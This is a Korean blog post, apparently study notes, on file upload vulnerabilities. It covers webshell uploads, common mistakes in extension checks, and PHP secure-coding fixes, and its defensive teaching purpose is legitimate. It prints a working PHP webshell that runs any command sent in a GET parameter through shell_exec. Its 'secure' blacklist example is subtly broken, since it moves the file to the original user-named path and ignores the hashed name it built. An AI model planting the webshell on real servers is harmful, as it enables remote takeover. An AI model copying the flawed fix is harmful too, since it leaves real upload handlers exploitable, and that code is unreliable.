파일 업로드 취약점이란?
파일 업로드 기능에 대해서 발생하는 취약점으로, 공격자는 비정상 파일을 서버에 업로드한다.
정상 파일과 비정상 파일은 서버 사이드 스크립트로 작성된 웹쉘 코드이냐 아니냐로 구분된다.
악성 스크립트가 웹 서버에 업로드 된다면 업로드한 파일을 통해 시스템 명령어를 실행할 수 있게 되어 OS Injection과 동일한 효과를 발생시킬 수 있는 취약점이다. 하지만 OS Injection과 다르게 웹 서비스에서 파일 업로드 기능은 필수 기능이므로, 취약점이 발생할 확률이 매우 높다.
공격 원리 분석
- 사용자로부터 파일명을 입력받는다.
- 기존의 경로와 입력받은 파일명을 조합한다.
- 서버에 파일을 업로드하기 위해 파일 출력이 수행된다.
- 업로드된 악성 스크립트를 통해 웹쉘에 접근하게 된다.
웹쉘이란 무엇인가?
Web + Shell = WebShell
웹쉘이란 웹 페이지 상에서 원격지 서버의 시스템 명령어를 실행할 수 있는 도구를 말한다. 웹쉘은 공격용 악성 스크립트라고도 부른다. 이를 통해 웹 페이지에서 원격 서버로 시스템 명령 실행이 가능하다.
언어별 시스템 함수
PHP는 시스템 함수가 매우 많기때문에 웹쉘을 난독화할 수 있는 방법 또한 매우 많다.
웹쉘 별 시스템 함수 사용 예시
웹쉘 종류
[실습1] 간단한 웹쉘 제작 및 파일 업로드 취약점 공격 실습
<?
$cmd = $_GET["cmd"];
if(!empty($cmd)) {
$result = shell_exec($cmd);
}
?>
<form action="webshell.php" action="GET">
<input type="text" name="cmd">
<input type="submit" value="EXECUTE">
</form>
<hr>
<?=$result?>
검증 로직
정상적인 파일인지 비정상적인 파일인지 구분하기 위해 검증 로직이 필요하다.
1. 확장자 검증
확장자가 정상적인 파일의 확장자인지 비정상적인 파일의 확장자인지를 검증한다.
파일 업로드 시 JSP, ASP, PHP, ASPX와 같은 서버사이드 스크립트 확장자에 대해서는 비정상적인 파일로 분류하여 업로드를 거부한다.
방식 | 블랙 리스트 방식 | 화이트 리스트 방식 |
장점 | 허용하지 않을 확장자들을 지정해 두는 방식 | 허용할 확장자들을 지정해 두는 방식 |
단점 | 다양한 우회 가능성 존재 | 다양한 파일 업로드 불가능 |
적합한 기능 | 다수 파일 업로드(ex. 자료실) | 특정 파일 업로드(ex. 이미지 업로드) |
보통 화이트 리스트 방식이 더 선호되는 방식이다.
- 확장자 검증 동작 원리
- 사용자로부터 파일명을 입력받는다.
- 파일명에서 확장자를 파싱한다.
- 화이트 리스트/블랙 리스트 방식에 따라 확장자 검증을 수행한다.
- 검증 결과에 따라 파일 업로드 여부를 결정한다.
2. 이미지 검증
업로드 되는 파일이 이미지인지 아닌지를 검증한다.
3. 파일 사이즈 검증
업로드된 파일에 대한 사이즈가 지정된 파일 사이즈를 초과하는지 아닌지를 검증한다.
개발자분들이 자주 실수하는 잘못된 대응 방안
CASE 1) 검증되지 않는 확장자 사용 → 블랙 리스트 방식
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = $file_info["extension"];
if($ext == "php" || $ext == "html") { # php, html 확장자에 대한 블랙 리스트 방식 적용
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
}
CASE 2) 빈 값 검증 미흡 → 블랙 리스트 방식 + 윈도우 환경
CASE 2-1) 윈도우 환경에서는 파일명 마지막에 .
을 입력할 경우 .
이 사라진다.
ex. test.php.
→ test.php
CASE 2-2) 윈도우 환경에서는 파일명 마지막에 (공백)
을 입력할 경우 (공백)
이 사라진다.
ex. test.php[공백]
→ test.php
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = trim($file_info["extension"]); # case 2-2) 검증 적용
if($ext == "" || $ext == "php" || $ext == "html") { # case 2-1) 검증 적용
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
}
CASE 3) 대문자 검증 미흡 → 블랙 리스트 방식 + 윈도우 환경
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = strtolower(trim($file_info["extension"])); # 대문자 검증 적용
if($ext == "" || $ext == "php" || $ext == "html") {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
}
CASE 4) 잘못된 확장자 파싱 → 블랙 리스트 / 화이트 리스트 방식
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용
$ext_offset = strpos($uploadFile, ".");
$ext = substr($uploadFile, $ext_offset + 1, 3);
if($ext != "png" && $ext != "gif" && $ext != "jpg") { # 화이트 리스트 방식
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
}
대응 방안
1. 파일명에 대한 검증
1.1 확장자 검증
- 되도록이면 화이트 리스트 방식을 사용해야 한다.
- 확장자는 역방향으로 파싱한다.
1.2 서버 측에서 파일명 생성
1.사용자 입력값으로 받아오는 파일명을 통해 서버에서 실제 db에 저장하는 파일명을 따로 생성한다.
2. 서버 측에서 생성한 파일명과 검증된 확장자를 바인딩하여 업로드한다.
3. 사용자가 파일을 다운로드할 경우 원본 파일명을 전달하기 위해 원본 파일명을 db에 같이 저장해 둔다.
2. 올바른 업로드 경로 설정
올바른 업로드 경로란 서버 사이트 스크립트가 실행되지 않는 경로를 의미한다.
웹 디렉터리 이외의 경로로 파일을 업로드하거나, 스크립트 실행 권한을 제거해야 한다.
공격자가 경로 변조를 통해 웹 디렉터리로 파일을 업로드할 수 있으므로 경로 변조에 대한 검증 로직 또한 필요하다.
취약 환경 시큐어 코딩 적용 실습
1) 화이트 리스트 방식
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용 - 화이트 리스트 방식
$file_info = pathinfo($uploadFile);
$ext = strtolower($file_info["extension"]);
$ext_white_arr = array("png", "jpg", "gif");
if(!in_array($ext, $ext_white_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
$final_filename = sha1($uploadFile.time()); # 새로운 파일명 생성
$final_filename .= ".".$ext; # 파일명과 확장자 조합
$final_uploadPath = "{$upload_path}/{$final_filename}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $final_uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
2) 블랙 리스트 방식
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용 - 블랙 리스트 방식
$file_info = pathinfo($uploadFile);
$ext = strtolower(trim($file_info["extension"]));
$ext_black_arr = array("", "php", "html");
if(in_array($ext, $ext_black_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
$final_filename = sha1($uploadFile.time()); # 새로운 파일명 생성
$final_filename .= ".".$ext; # 파일명과 확장자 조합
$final_uploadPath = "{$upload_path}/{$final_filename}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
'Security > Web Hacking' 카테고리의 다른 글
[WebHacking] URL 접근 제한 미흡 취약점 (0) | 2024.05.16 |
---|---|
[WebHacking] 파라미터 변조 취약점 (0) | 2024.05.16 |
[WebHacking] 파일 다운로드 취약점 (0) | 2024.05.15 |
[WebHacking] CSRF(Cross-Site Request Forgery) 공격 (0) | 2024.05.13 |
[WebHacking] XSS 공격 (1) | 2024.04.28 |